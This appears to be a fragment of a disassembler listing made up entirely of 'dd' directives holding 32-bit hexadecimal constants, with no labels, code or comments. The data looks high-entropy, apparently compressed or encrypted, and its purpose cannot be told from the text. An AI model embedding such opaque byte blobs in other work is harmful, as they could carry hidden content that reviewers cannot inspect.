		dd 0FD5B17C7h, 866786C0h, 0E2D10F18h, 0D7BA6851h, 4B57E84Ah
		dd 0C40C00E8h, 10DAE71h, 0E93F53F9h, 0D359D82Dh, 45AA3924h
		dd 2D824857h, 4EA68E0h,	0D0E7C85h, 0B54FC81h, 615F5E02h
		dd 537B210Bh, 395253D5h, 7AD96F85h, 4CDFCA7Eh, 9AC927CEh
		dd 860405Eh, 0C393C9A7h, 0E744585Ch, 4604E5A8h,	0E45D8E0Fh
		dd 7304F664h, 898DCBE1h, 0A4F5CC81h, 85199005h,	68804DC1h
		dd 6F2355F0h, 9DFD020h,	506F4F29h, 0BF624E89h, 4B151655h
		dd 0AAFC8496h, 0CBE090C7h, 7ECD0CD4h, 0C4305B6Ah, 5AB091ABh
		dd 0C5C607C8h, 20FEA06Fh
		dd 8A16C2DAh, 0F5685CCDh, 590B13C7h, 5EF8130h, 9AC1BAB1h
		dd 0D86E2FCCh, 1B65FD67h, 16AAE1C1h, 809E34D8h,	0AF0F1C72h
		dd 0D7295509h, 0C80845Ah, 11A10501h, 7AE1C626h,	7032C0D0h
		dd 1E00A4A2h, 0F8577BF7h, 3EC97A4Fh, 328843E8h,	48C25B7Eh
		dd 0FA66945Ch, 57875E8Bh, 0B3D41291h, 69332032h, 7F5C0631h
		dd 57E1F662h, 722DBCC6h, 0EAB3596Ah, 9858359Bh,	0B75A85FDh
		dd 0AB682E05h, 997C45EBh, 0D150938Eh, 6B8415B9h, 7BE2C197h
		dd 3A7B664Fh, 0F65A8B54h, 86FC9214h, 2248F606h,	0B1408436h
		dd 1A2F9E64h, 0C8F495B5h, 0BFDEE9F0h, 0D3A0BF89h, 0BBF3F72h
		dd 29CA07B5h, 71EB603Fh, 90482B3Bh, 0C4964AABh,	0CDABBF1h
		dd 0E2F4E909h, 2514B47Dh, 2C5B3617h, 6912D79Fh,	8F7805E1h
		dd 0AA904930h, 809FB417h, 0B9244FB8h, 0A0214BF3h, 470FC5EDh
		dd 0E7088856h, 0F273F8F5h, 3E9E061h, 765D7C72h,	83AD029h
		dd 0C23CF37Dh, 4F3ABB26h, 50D8D92Bh, 17BACA20h,	0BC596855h
		dd 4DBFC0E8h, 244E055Eh, 480D7F7h, 812F3D10h, 38988CEDh
		dd 68AD4E09h, 0C66B1EC8h, 5A2D050Bh, 0A83DB236h, 5907406Eh
		dd 8D6F39Dh, 792729E7h,	0C00DB4DDh, 5F4168C9h, 76D2DA94h
		dd 0BF7B00B0h, 1EE8345h, 9366CDFFh, 81702913h, 9CC14DE9h
		dd 0EB094F46h, 0B801A625h, 0F9DD18EAh, 0B1BE3E7h, 43022C34h
		dd 9312D885h, 0EEECC108h, 7C0A7400h, 9056671Eh,	77A59D1Fh
		dd 6531EE5Ah, 0B022E9F6h, 2C072775h, 0C3465C51h, 5D234F9Ah
		dd 6FE682E8h, 124A34BEh, 909E9B84h, 2DEB9B3h, 4C26B52Ch
		dd 5512D842h, 0ACB1CD22h, 4109C55Fh, 4D508D68h,	5DF30AAh
		dd 3F02479Dh, 0EBFCEE2Ah, 8C3B7ECDh, 34AD55C6h,	0A648DBA7h
		dd 0A58C2C2Bh, 23A800F9h, 149FA20h, 7F01E2B9h, 93CA8957h
		dd 74575969h, 81032AECh, 0E22AE3E1h, 0D3AA860h,	0EC521A25h
		dd 0B30A5EB4h, 9DBF8053h, 26F952Ah, 6AD56568h, 15425E90h
		dd 1F6CB77h, 89781E0Ch,	0F9FE013Ah, 0A0844C6h, 0A5FEAA90h
		dd 0F5019B76h, 0FC307F90h, 7DBCEDFBh, 8134924h,	60AD889Eh
		dd 0B215C3B0h, 298E2013h, 0CB8F5C3Eh, 50A277F8h, 0E0D1AFA0h
		dd 473E0A2Dh, 0E614CB3Dh, 5AAB0047h, 91E944B3h,	201C9728h
		dd 494ECEFCh, 68C27FA9h, 18DD0DD9h, 0E6535621h,	4080907Eh
		dd 8103423Dh, 2829CCEAh, 0CEAE9CBEh, 4165133Bh,	4E06B1A3h
		dd 3C26EF60h, 0CBFAD97h, 18862421h, 0D6C3F7E9h,	5ADC041Ch
		dd 0D00E9CDCh, 81A2962Ch, 6653AC00h, 883CB450h,	5BA8E34Dh
		dd 0A25AC48Eh, 0F19610B4h, 9EEB881Ch, 0B64E4DD8h, 0FBE62B12h
		dd 618BB24Ah, 4B0F68CAh, 11E3CF88h, 0DA5F1B2Dh,	0CB5B7E5Dh
		dd 0C2163E0Bh, 8413CEBFh, 5DE324B5h, 948AC2ADh,	97C01CFFh
		dd 2E66A919h, 4C1095F2h, 272E757Dh, 818B5508h, 0AD5376EDh
		dd 0A0254870h, 20F76CCDh, 5C52B59Eh, 20424CA0h,	800F0933h
		dd 0E173F01Fh, 155C00EBh, 12069B78h, 0B889840Fh, 77E84A22h
		dd 87EADDA1h, 0EC9BE81h, 9470E49h, 8CCADE6Ah, 0C6164983h
		dd 0BA3AD03Dh, 0BE99729h, 0FEFCEA4h, 0D273CBD4h, 92D3FBAAh
		dd 0C38715Fh, 109C6B11h, 50CAF4E1h, 0A2F68B53h,	156F607h
		dd 646047B4h, 8A916A29h, 506C36E9h, 2FB0BC4Eh, 929F0558h
		dd 0F13BC9A1h, 0D0537FB9h, 0B800B2B6h, 568D42F7h, 0F1056857h
		dd 5F273E71h, 90E08F97h, 0A010E73Bh, 8B9A6BAFh,	0B6D3B4F8h
		dd 70A0A34Ah, 0D638F9C0h, 82540B92h, 48775B43h,	0A0909D2Eh
		dd 66370A89h, 266674D3h, 3B167DFh, 5134474Eh, 0EA096C16h
		dd 957BF7A2h, 0F77E82C2h, 0FC6AB11Bh, 0B6FD98FAh, 85C9CF5Ah
		dd 53F3E42Bh, 4B76BB01h, 57430860h, 25A280E2h, 0B832C20Ch
		dd 647700BCh, 0EE3107B6h, 0E64EC15Dh, 0EB7221BCh, 0B5F1BC15h
		dd 9AE4888h, 5D430745h,	3EC33942h, 3A00895Ah, 0B7D29842h
		dd 5FF80131h, 0D9165135h, 7A877F7Ch, 0FB95B083h, 0E4384BBDh
		dd 0B3BBE15Eh, 0D40ED889h, 3BEB51E9h, 0B1E82014h, 51E9C129h
		dd 0A35E8F78h, 18A04C02h, 0C1D9D976h, 0BEC612C3h, 5612836Dh
		dd 6B9062F9h, 0BDB0DCD8h, 0C19012ECh, 7DB49534h, 0F39FC0BEh
		dd 0C83C65D2h, 231CCF78h, 7D667B9Ah, 68840165h,	0C4EC127Dh
		dd 0E92EE2DEh, 5094D7DCh, 697807D4h, 0D1C36AB5h, 5E5026F4h
		dd 51214272h, 0A8F4254Eh, 17602B58h, 84095702h,	2F2FC58Bh
		dd 9613E847h, 46E87184h, 1C52596h, 0F0466321h, 0D818217Fh
		dd 4E10A06Fh, 0E326EB09h, 83CB16D8h, 9495E990h,	5990EB37h
		dd 26E17818h, 20715D79h, 0B8E92F07h, 0A836A89h,	0BBDD3094h
		dd 5E846D2Ch, 71BA8C39h, 0EFD59B60h, 5C4FC1EDh,	910BCD46h
		dd 72F42177h, 120BA62Ch, 6FDB5620h, 0EBF6282Bh,	12C6555Ah
		dd 0C5A95F4Ah, 74F3EF80h, 0E91619D1h, 62B91B31h, 5E6EB2D6h
		dd 41F40109h, 42B5B94h,	0C22DED21h, 0B5D3023h, 0B95A1656h
		dd 1CD80A5Ah, 0AB16BBFCh, 0C50A202Ah, 0F53E7156h, 82A21222h
		dd 25EC2A29h, 0C667BDF2h, 2C132117h, 5C8622EAh,	0E4068C41h
		dd 0D3973E4Ah, 0F8661682h, 37315AF7h, 6B33B2ACh, 0C920F44Ch
		dd 0D9215E1Eh, 777D9709h, 57EF5D31h, 7F8EE3B2h,	478F0A0Fh
		dd 79D30640h, 0BE83C2Dh, 0CDCDEE1Ah, 0B074647Dh, 0CA862FAEh
		dd 6C427A51h, 42702822h, 61C0C90Bh, 0C882E12Eh,	0F2BF5726h
		dd 4AF10065h, 0D08CF81h, 4AB55361h, 0D64B4041h,	0A40E2492h
		dd 0AFBC1257h, 63681F30h, 0F4B4B70Fh, 2B666815h, 8D2D18BDh
		dd 4FEF2ADh, 89647817h,	7C8FEBD3h, 27DC681Ch, 0AECC82D6h
		dd 1A491964h, 0C64F9E3Bh, 761FF1E1h, 7D8107C2h,	93D2348Dh
		dd 73AE748Fh, 0DE78A3F2h, 889B5477h, 3399993Eh,	0D9EE3883h
		dd 20828240h, 0FEF60802h, 0F59D8469h, 0D56B900h, 0BA516682h
		dd 3EE5E1C3h, 6281050Eh, 0FDBB723Fh, 63FBF286h,	470F1798h
		dd 6B62BF0Ah, 819A5C8Dh, 0A57EDDBAh, 0C8974075h, 4F5EEE0Fh
		dd 6BE58D90h, 4228301Eh, 4B1AA4B8h, 0C2011017h,	60EACC0Fh
		dd 3196B7F8h, 14E916D6h, 0A757A840h, 1C34A6C3h,	0C568566Fh
		dd 310B5A6Ah, 38ACA6Dh,	8B5C5909h, 9760FB51h, 213500A2h
		dd 0B9515EF2h, 7D35CE0Fh, 40EF80FEh, 0E9CA0173h, 0C8BFC680h
		dd 0BBD2A381h, 817ABCD2h, 41FEFC81h, 91DA42Ch, 28F72708h
		dd 784C20ADh, 4C834632h, 5F3EC04Eh, 9114F79Fh, 230B105Ah
		dd 96FC4E46h, 938CACAh,	3F448C57h, 0EF480FF0h, 79F892B5h
		dd 0C8520B07h, 5FF0E50Dh, 7C77DD9Dh, 86890834h,	0ADE15BECh
		dd 0F0D7A9E0h, 1A30064Ch, 110122ADh, 0CA46CF8h,	0F17D5869h
		dd 935C5982h, 740D54CDh, 0B33F7ED6h, 305136Ch, 0A6935EE2h
		dd 85DC5CCAh, 0AAB45BDFh, 0AC777F29h, 904198F7h, 4C060DCDh
		dd 60A737F3h, 0C48679C2h, 0C8DA318Ah, 771C447h,	0B7BD734Eh
		dd 0E0DEBA01h, 358CE9F6h, 27346D0Dh, 62F50BE4h,	27917634h
		dd 0A3218740h, 0C1F449Fh, 0C7FE91B7h, 81623A34h, 0DDE7C01Ah
		dd 16EA1C09h, 5D16E154h, 0C3A16DACh, 7496216h, 1F566B0Fh
		dd 57C438B2h, 7068C721h, 846A5522h, 3F05A1CEh, 0D41104B2h
		dd 25864CEAh, 62DA7692h, 8001A750h, 0C3CC93E3h,	2506C4F3h
		dd 0C704EA08h, 66057D30h, 0B31B95Ah, 0C610E568h, 0EB8037A8h
		dd 82026477h, 74090DD5h, 8CB5EB6h, 0D6B23254h, 3B4CC260h
		dd 4887E903h, 8C002DFFh, 3155D212h, 66905AD7h, 50C5305h
		dd 0BC860914h, 0FF770424h, 22917F5h, 5F2298E9h,	4EAF0BE5h
		dd 281D2873h, 0D8A19F14h
		dd 7803A268h, 44E9C467h, 0D3353DA8h, 5A6506BCh,	0F72CA276h
		dd 0E21016DBh, 1C57210Bh, 0F6820E29h, 0ACA9CE9Ah, 0A1A588E3h
		dd 8708158Fh, 0D151F7AEh, 0F6793A68h, 0D3EDDE6Bh, 0AAFE021Fh
		dd 8D9E30EEh, 83F5C72h,	8712C3B0h, 0C2F604AAh, 0A8C0EBDCh
		dd 2548F52Dh, 0EDD04262h, 61650782h, 629CFCA5h,	0D95029E9h
		dd 0E8DFF728h, 0F504CF79h, 5A870F47h, 97C4DA9h,	1F1084D7h
		dd 9A259375h, 14A957FAh, 38592620h, 292511EDh, 0A0D5517Ch
		dd 655F5C0Ch, 5ADA010h,	525AF730h, 0D41D4A82h, 758A49ACh
		dd 0BA1EB0B0h, 45253649h, 0CA92516Fh, 0C9FB1E15h, 7F064AEh
		dd 7D5FD809h, 0B20B5D7Ah, 95EBE100h, 7794E4B4h,	38044317h
		dd 0FB13D78Eh, 55660D22h, 68851417h, 0A04418E9h, 0A8A9D96Ah
		dd 0E9E12D88h, 0A448FE2Bh, 7201F299h, 8163BA57h, 922A5A08h
		dd 1564DD9Eh, 0E564ED03h, 0E14DB0AFh, 0B3887AE4h, 91262C4Fh
		dd 0BF0B9C02h, 117D3269h, 18254E8Bh, 0B0069230h, 45AC1CDBh
		dd 0D52985FAh, 8BE7145Ah, 0BA74E80Fh, 1E3CE9A2h, 0A0CFAC0Fh
		dd 0AA071FF0h, 0D5554943h, 0FEDF8625h, 9A3C9900h, 0B29ABA9h
		dd 10D8E9F9h, 45CF6DFCh, 0A4534222h, 4FBCCCE0h,	5DC9ACh
		dd 856DEEDEh, 5D13544Eh, 0CB022AAh, 4FAB32Eh, 43B7B7h
		dd 0A027F435h, 0C083171Fh, 0EE0E001h, 9B5B7540h, 6BD42736h
		dd 5CB70F78h, 0A6712FC8h, 63E919F3h, 88B24674h,	2C2FBC72h
		dd 0DDDF1811h, 98F01FB8h, 32F0A5Ch, 23AE11C6h, 26E0BCE9h
		dd 87589DC0h, 663AD02Dh, 301A26C2h, 256F24A8h, 0F904C66h
		dd 5E545613h, 30703DFEh, 2B963F12h, 3EB3E48Dh, 8BC0F22Ah
		dd 7D4C4921h, 0FB3B18FFh, 0DBBA2E73h, 911BC77Ch, 50E8D129h
		dd 13A3489Fh, 0AA435F3Eh, 0A4B27744h, 2BF9BF00h, 48F46E7Fh
		dd 0A0544B97h, 765C463Eh, 0EFE7034Eh, 4F03167Ch, 0E424A04h
		dd 0D806801h, 275F0BE9h, 42DE2187h, 970A3F83h, 9EC9F809h
		dd 4C7E3E5Ah, 1F91E102h, 6B5870D4h, 8439F1FEh, 29A00F2Bh
		dd 0B67544CFh, 0C1819CBFh, 5A0B24F4h, 88D90126h, 5B120850h
		dd 0E090A0A2h, 4E419710h, 0B5D6258Ah, 7E73D5E6h, 157DE0CEh
		dd 0B82CD366h, 0DC734812h, 0B84850E9h, 6D4B13E3h, 1D3091A0h
		dd 42400E5Ch, 52A6A3B5h, 0C40CC65Dh, 0FC0A99A4h, 11E4D359h
		dd 61C960B3h, 84132CF5h, 0D407E29Ah, 21357267h,	0F8C8E9C1h
		dd 4AC2696h, 177C3D32h,	0D820AAC1h, 4DEDC204h, 6A60AE3h
		dd 388185Eh, 0B18F4E66h, 4B002B4Fh, 0A62C0DB6h,	4F03A28h
		dd 3EF97Dh, 6467B9A4h, 0E0A06B94h, 0BE091C92h, 0C323E957h
		dd 72BFA962h, 23C40AB5h, 155EB54Bh, 8753134Bh, 9081C79h
		dd 0E8D6895Ah, 1DE3BF01h, 2A203835h, 0A7D11656h, 690FE8F9h
		dd 6E097506h, 26A1AC46h, 3C1ECB47h, 3F4231CDh, 0FC9D71E9h
		dd 262D8BE4h, 0FD29FC03h, 882EDC2h, 1E42EF87h, 0BB010B56h
		dd 7DA2197h, 9432CBE8h,	6AF9505Ah, 53307100h, 403E5E68h
		dd 4FD3A44Dh, 59900B4h,	3F6D395Bh, 58C3311Ch, 0A208D8D7h
		dd 9DFA202Eh, 6B6F7251h, 52304C02h, 18169D30h, 17D4F3FEh
		dd 122D0BF4h, 4AA136A8h, 0E4D3E836h, 5ACB8F00h,	5A2949C0h
		dd 3958AF8h, 8042442Dh,	2A4EA854h, 27FE90C7h, 0E9EE7470h
		dd 870C8365h, 0AC0B64BBh, 1E9C645h, 9D8B5A39h, 38B9F937h
		dd 6DF64BF6h, 75A9680Ch, 45595923h, 45B0ECAh, 28494117h
		dd 51D02CD8h, 3FB37A53h, 7FF9DD88h, 7F347F19h, 2870E9E8h
		dd 60E56BE1h, 833A9E56h, 5615551h, 0C88DDB07h, 0B558C689h
		dd 0E0ED3563h, 79282E57h, 4195EC88h, 0CA3B0544h, 18D25E9Ch
		dd 0F38CEB0Dh, 51C880E5h, 80A90EB5h, 0F5663FCDh, 595C8E5Ah
		dd 0B1AE200Fh, 187D0091h, 4C293E30h, 0FB0C828Ch, 0C6E905A5h
		dd 354FAA06h, 40E60655h, 0FCAB8099h, 9A2DF61h, 0A27ABFC0h
		dd 23D28D15h, 282007E9h, 88B2546Fh, 5F2F5A74h, 799CB4E8h
		dd 0D1613B66h, 850F2764h, 0C600FBA9h, 4A1C71DDh, 59CA8902h
		dd 5554372Ch, 1F990A13h, 967F7297h, 0C1A4B2F8h,	2C0EFFDh
		dd 2011DF5Ch, 0FB91AC19h, 461B428Bh, 5B0A95F7h,	7236E21Dh
		dd 30D60909h, 9D85CC92h, 8EF0E2E4h, 0FE70095h, 9A96AB89h
		dd 0D972254Ch, 33C6A9D1h, 96E97151h, 0FA5B124Ah, 0CEB82B60h
		dd 3AA72E54h, 1F2D803Ch, 31F7210Eh, 9E30C64Eh, 8037E3E9h
		dd 81EEE688h, 30B3105Eh, 0B124F893h, 0EA0490B0h, 0FA2E911Ch
		dd 9655F646h, 52801E3Ah, 0C4D6B97Fh, 5DBF7D3Bh,	0FC5CEDB1h
		dd 2164F5A9h, 7C48D181h, 1C477207h, 0D88BD282h,	57EB8102h
		dd 0AC038EAh, 82826FF0h, 0DBD86E23h, 5DE985C1h,	0DFCC4ECBh
		dd 0CD0F32E4h, 2A12C514h, 5203DECAh, 0E6893BAh,	0D2EAC0CFh
		dd 24DDDD0Bh, 4D2CE380h, 1FBB5344h, 17E42FDAh, 16CA8131h
		dd 9C217B12h, 986A5455h, 0A85AE9C7h, 0E62FECE1h, 267A6352h
		dd 63722768h, 0BE1A7818h, 3EAD180h, 6492E281h, 0C7E9014Ah
		dd 65039E6h, 56D15BBCh,	219C0CA0h, 0E10C709Ah, 1C270112h
		dd 5AE2B190h, 0CC287138h, 0F2240712h, 0FC4A2412h, 0A3AF40BBh
		dd 29725E46h, 1C55E9F0h, 41843AF2h, 5C2C6082h, 0AC6E25E5h
		dd 7FA2DB80h, 55610EAAh, 0CE04042Ah, 0AA52C15Ch, 0FFA9A475h
		dd 5EC06625h, 165BBE68h, 91FE8B8Ch, 705F1E0Eh, 20685B5Fh
		dd 77646D5Bh, 6D1AA80h,	51300CBDh, 310DD5B9h, 7159C82Ch
		dd 40C1E90Bh, 0F870B8E3h, 0BA624C5Eh, 14D5497Ch, 3C85BE03h
		dd 3FD16ADFh, 0E31587ADh, 7C3B72CFh, 4EF62550h,	9EF4888h
		dd 85E8D7F7h, 1A4D8F8Ah, 0ADE70285h, 41633150h,	392C9F99h
		dd 0E3A5E93Ah, 14ECE571h, 0A54F1D9Fh, 1DC38047h, 2918350Bh
		dd 4595EB58h, 2E3C6108h, 978929CCh, 0E7ECDD44h,	2C3FBABAh
		dd 52C52CFBh, 8BD0592Fh, 0DCC3D6E9h, 0F97EA3AAh, 8D9E8628h
		dd 5255A072h, 3116DA61h, 290B5635h, 4C3D2EC7h, 0E909B939h
		dd 125F0E3Ah, 4C60D720h, 6EE04DEFh, 0F6C4F095h,	21C402C7h
		dd 0C1835EF1h, 0F770F268h, 2985150Bh, 1A5A04CFh, 0B82616BFh
		dd 0C105B5F4h, 9DB46DD0h, 1808682Ah, 720418CCh,	0E3203078h
		dd 11731F27h, 24746D31h, 8E49DBAh, 54B11996h, 7F027942h
		dd 0C694C8EEh, 57DFD439h, 0B4881190h, 65EEEC0h,	144A30F7h
		dd 5C10D8B1h, 0EF8002BAh, 0D7862CC2h, 5B8BBE0Eh, 0D689B25Fh
		dd 6AB562EEh, 8864DBC0h, 0B1D3EE4Ch, 0C57BF028h, 84D4F8C4h
		dd 0D5B50EF1h, 0EC21F52Ah, 24958BD2h, 1FAAA87h,	80D6F63Fh
		dd 569A60EEh, 0EF373660h, 7B130FA9h, 0D2B2F07h,	92BDF0FBh
		dd 16B4B1BFh, 0B3025EC5h, 1EE9C4C8h, 0DCEA09D4h, 2E801CC2h
		dd 2DA29719h, 0EE20C478h, 0E5F73F73h, 1B8813Eh,	8B616FCDh
		dd 0A32BE6D1h, 0EF3E1767h, 0F10DE835h, 0B6F8CD20h, 0E64B4839h
		dd 0FE325C13h, 8CC77324h, 51A6A2D9h, 6659039Eh,	0CFFC1E4Bh
		dd 0EA028A9Fh, 685181F6h, 2A160475h, 0FED9A6E0h, 0F0719A92h
		dd 47101D05h, 0C8290528h, 5B07142Dh, 6BC17838h,	91456AA3h
		dd 9478916Eh, 838A7E12h, 302DF546h, 8439087Eh, 2375E926h
		dd 182CAEA3h, 57F6A77Dh, 22EC3F44h, 1F2BB925h, 5D03F5F0h
		dd 113C9A2Dh, 7F70A824h, 1290ADBh, 280705F0h, 13375E6Ch
		dd 0F4E7E8FBh, 79CA61AFh, 4A753E26h, 0F602C2CDh, 82AF0E18h
		dd 0FF40BD9Ah, 5807C301h, 7B632D5Fh, 7E056A10h,	0F4C07716h
		dd 0E84E1D29h, 28D81F2Eh, 1140F907h, 120EBD55h,	0B03B937Ah
		dd 693CE58Ah, 631AC04h
		dd 0EC88FD00h, 4AC52995h, 3A33B858h, 0E9D80A5Bh, 76BCED5Ah
		dd 287EF4A2h, 28FE536Fh, 0F452E9E0h, 0C2E20384h, 0D971C146h
		dd 178025D9h, 5616D1EBh, 6805505Ch, 2E8A2D48h, 0F93F5FC1h
		dd 2269B800h, 404F9917h, 0E956A08h, 6AFE565Ah, 0FCEBE08Ch
		dd 50659A99h, 951CC75Fh, 74FB6789h, 34BB50C4h, 0AAAC12B9h
		dd 5B66683Ch, 37118185h, 20AD056Bh, 0C9D3E396h,	2A9BC466h
		dd 0B79A21DDh, 59C28080h, 5E60D342h, 29573F0Ch,	0DA012C21h
		dd 0D00820FAh, 5B26140Ch, 2910CBB0h, 0AD27E950h, 37EF5BAFh
		dd 0E4E6361Ch, 0E45F0A09h, 30D40475h, 73574416h, 0E18BEAB4h
		dd 0A5E8CD5Ah, 8999716Dh, 0A452C181h, 12EB0148h, 0D9E9F24Fh
		dd 5B8888D0h, 5370A0C9h, 9F90AEE9h, 0F8592524h,	0DC5AB17Ch
		dd 0EB28F750h, 95F2E480h, 0E927A6CCh, 0F8798925h, 434E0FE9h
		dd 0AF842A68h, 10EEA9ABh, 0B04EF59Ah, 0DF982130h, 0A5CE9E2Dh
		dd 2FD6AC0h, 1A60BFD2h,	1D1FDCC3h, 0AE296DA1h, 2F082093h
		dd 0FED09BE9h, 6F6FF3B5h, 23599CA9h, 9AAC5293h,	3EEED31Fh
		dd 0CD5EB3DBh, 8B609B02h, 0ED6E1EACh, 0BC7EFD31h, 7FFE80FDh
		dd 0F329FFF4h, 24166C9Fh, 63D07CCEh, 0BFF4478Fh, 655C433Dh
		dd 0F1D24C31h, 0F0D8220h, 8988F289h, 3A9F20F0h,	47970343h
		dd 5BE522DAh, 0EC25B14Dh, 0BFE5306Ah, 376ECD4Bh, 0E1276F27h
		dd 0B7610FEFh, 90526F34h, 0F6EC3C5Ah, 0C2897785h, 7A71E158h
		dd 0BE135112h, 52008A8Bh, 0C351A5BAh, 0D435E94Ch, 1EFF6CDDh
		dd 97BC0CB2h, 2BF4EF7Dh, 0A02E0B2Fh, 854A994h, 0B8E4FD52h
		dd 9DAAE05Dh, 3A4FFF0h,	0B14364BFh, 9E9622Ah, 62C0FFEh
		dd 7C44D2CCh, 2E3EFBECh, 0B4BA2ABCh, 1F8F0F13h,	61BB7552h
		dd 0E16162h, 4B68F70Ch,	0DE32E8CDh, 5F10E20Fh, 0C39D0ADh
		dd 53951A46h, 144EA44Eh, 0D08193A5h, 2EDC15Dh, 0A823E5E9h
		dd 0CC9F6E7Fh, 0FCB33BEFh, 0F380CB80h, 7CE95181h, 0BD047E9Ah
		dd 79F62BA5h, 36804FEh,	72CAFF9Bh, 0AFE1E42Eh, 0EF0F59F3h
		dd 3859EE1Eh, 0E4FEAFDCh, 91E9137Ah, 4F9BA2ACh,	68C2EAE7h
		dd 7F901F43h, 0BE6630h,	2F03214Ah, 0B71DD74Ah, 0D65414F2h
		dd 41C7604Dh, 295F2C9Fh, 13D27021h, 6A009D6Eh, 0A24ED19Eh
		dd 8A9D33Bh, 3739FF86h,	5DBBE109h, 0E9AF820h, 499F6FC8h
		dd 8345AFD2h, 0F92CA4DFh, 89AC5ACFh, 0DEDD60AFh, 0BBED27C5h
		dd 7F2DA30Fh, 0ACA878D7h, 0E1FA37C9h, 64B008B8h, 2AEDF0ECh
		dd 0AB8A6080h, 2D809AE0h, 99EC132Fh, 4BEE8101h,	1068B60h
		dd 804FE75h, 7A12BDC4h,	0FE20D109h, 3CA371D9h, 0C1800EDAh
		dd 0BED10EA7h, 2C5A8EFAh, 0C874A52Bh, 0A0F4D08Dh, 0EAE9CEF7h
		dd 3008D5ADh, 7A00337Dh, 2B05CA73h, 9053A469h, 5FD50AF3h
		dd 1090433Fh, 0B312DFBh, 67CB0C2h, 0EAA1C008h, 93E1DD3h
		dd 705A4A7Ch, 39EF3D13h, 0F18B2A3Fh, 1AEEEA27h,	515625AAh
		dd 0E9F7226Fh, 0E817075h, 0D527B4BBh, 4469961Eh, 0AED35C76h
		dd 0AF67CF48h, 0ADC401D9h, 0C69988FFh, 58435B07h, 0CF6A2974h
		dd 73A00820h, 7A0017CEh, 3FE32504h, 0E3505F8h, 6E0F3C68h
		dd 20D857C0h, 0C65C01C3h, 0E35A10ACh, 0E02BE174h, 7F5E03D6h
		dd 45AD0A75h, 0B8A1EC5Bh, 689537E9h, 33DCE145h,	1DCC662h
		dd 0AABE57CBh, 222FD984h, 0D851AAh, 28F66857h, 5F5A52E4h
		dd 470BE5ACh, 9D286DE9h, 0C2F9C7DDh, 0F5CAE2BDh, 180B8777h
		dd 0E316550Bh, 509590FAh, 3DF5B343h, 8050FEAFh,	904D72ACh
		dd 3A2E7F6Eh, 72EEB266h, 3AF63DFAh, 4F6FF800h, 5FE969F7h
		dd 1EFC537Fh, 5EE96FCh,	0BEC041A2h, 3E608ACEh, 76911E70h
		dd 0A99081B2h, 0C7A5D62Dh, 2D4276Ch, 0C8528C02h, 42625D3Fh
		dd 589DB378h, 0FFE0A0B4h, 0D2F73416h, 86C80004h, 0E9A7EDE2h
		dd 54175F25h, 800F5803h, 0D49A982Dh, 0E6EC7668h, 0D13CD801h
		dd 0AF8FE97Dh, 0DBC6E380h, 0F70392Fh, 608C27h, 4DE94E94h
		dd 0AE4EBD27h, 0F38BF297h, 0CCE91384h, 0AD38AAE7h, 7CE82568h
		dd 5DE498F1h, 0CD2D4FA8h, 0E9178FF0h, 0C85FCC5Eh, 8A2B947Bh
		dd 9B1287CDh, 12FF9015h, 224419F0h, 10926247h, 211F6539h
		dd 44E612D8h, 0A04149EBh, 4B128440h, 80B116D4h,	7C11E200h
		dd 5C016961h, 3DBFDD21h, 13B13818h, 4BB29FADh, 80685305h
		dd 26D2503h, 5D14DC44h,	76E8B880h, 8BB54763h, 91554FBh
		dd 10FD5C31h, 5A38E953h, 0C22DBCB2h, 0DFEA806Dh, 8157B009h
		dd 0D528C8B2h, 0EDC110BAh, 4A08835Ah, 9F07E5C0h, 7C2003D6h
		dd 97F50501h, 0F059E830h, 0C3FA89D6h, 0B450B90Eh, 39F4CE6Fh
		dd 0E3C1A012h, 0DBC4B13Fh, 3F61EBE1h, 0E1D761F5h, 25705859h
		dd 8E0F0A71h, 89AA0C22h, 0B95BC414h, 49B4D4A5h,	3C20AEE0h
		dd 972CDA12h, 45B611F0h, 6FC765A3h, 0BBC03BB3h,	7AE655A7h
		dd 39C18102h, 804E1A4Bh, 611C08F5h, 50CC102h, 2E4C8241h
		dd 8C1400Ah, 14240C34h,	79FA2013h, 0AB4B3BCDh, 1DEA0457h
		dd 29C764EDh, 0D565D5F1h, 8D80ABC9h, 3EC83118h,	7A985696h
		dd 4B2CDCD3h, 28CF3416h, 40D91AB0h, 3E9229EDh, 5CCD45Ah
		dd 5F9B402Ch, 0F1C82925h, 17936AD1h, 6C82366Bh,	52319825h
		dd 5D82DCBh, 0F97B2CDEh, 60A063BCh, 0B846B70Ah,	30D83139h
		dd 0F06808C3h, 42669773h, 0F637FC09h, 48018101h, 40EE2D08h
		dd 9FEB4701h, 0B120B994h, 2C5B7688h, 524D92A9h,	0BA2CAC84h
		dd 0FCB52F77h, 76F94194h, 924394F7h, 4B57B83Dh,	0EB50D182h
		dd 49D36038h, 0F45AD4D2h, 9AF6DF4Bh, 9DAC513Fh,	2DADA607h
		dd 5EBA1398h, 5D952717h, 585A9E06h, 202598E0h, 212EE1E7h
		dd 69CB54C8h, 0FD57CDE8h, 68287720h, 6046BD9Ah,	781427F0h
		dd 25D760EEh, 0B2D70255h, 0AD07D51Bh, 0D4EA07D0h, 0B9F1E061h
		dd 0CD48102Ch, 32176A2Ah, 77001753h, 230D4A44h,	0ED9CA14Fh
		dd 0A001806h, 81223C35h, 7837AFF7h, 0C3295AEAh,	13D4A265h
		dd 0DB18CDACh, 68560E8Eh, 40009272h, 0EEC15E24h, 4E8B0F08h
		dd 0FA2FC43Eh, 0DC8DC271h, 0B2E6946Fh, 0BAE90987h, 73C2E415h
		dd 0BCF70B81h, 0BD80CFB5h, 5E964F86h, 0C2148D9Eh, 0EE294E08h
		dd 0E981CC2Fh, 209EBE24h, 810A2F58h, 7C59D855h,	0FFE11A9Dh
		dd 0D2588F12h, 6A5F32A0h, 0D102C707h, 0A7E4E9E1h, 0F254AFCCh
		dd 0BFA9BA1Dh, 62273968h, 165DE6F1h, 0E27C2514h, 0A5DFD41Ah
		dd 2AC85E92h, 0CD719D66h, 2250214h, 0CB5598F3h,	1A52E148h
		dd 0A6DBB00h, 890EF40Bh, 817445DDh, 5E8C0BEDh, 0E9887BD8h
		dd 0CB320E9h, 0A6E8312Ch, 0A10B5Ah, 0BD491C07h,	0E3E816A2h
		dd 77830DB6h, 0E189292Bh, 332B2C87h, 0B947AE6h,	0C30A05B5h
		dd 16EB3981h, 0B05098C3h, 0BFE7A0Ah, 0E02CD0F6h, 0D55293D7h
		dd 0F3061987h, 5AA0050Eh, 0D0BB01E9h, 56778645h, 0E85B022Eh
		dd 0F806693Ah, 0F32F20AAh, 94D5E92Ah, 46FB050Bh, 0F9260B98h
		dd 806B8B8Bh, 0E8C2E79Bh, 0C8255EAh, 3051B1C8h,	2315844Ah
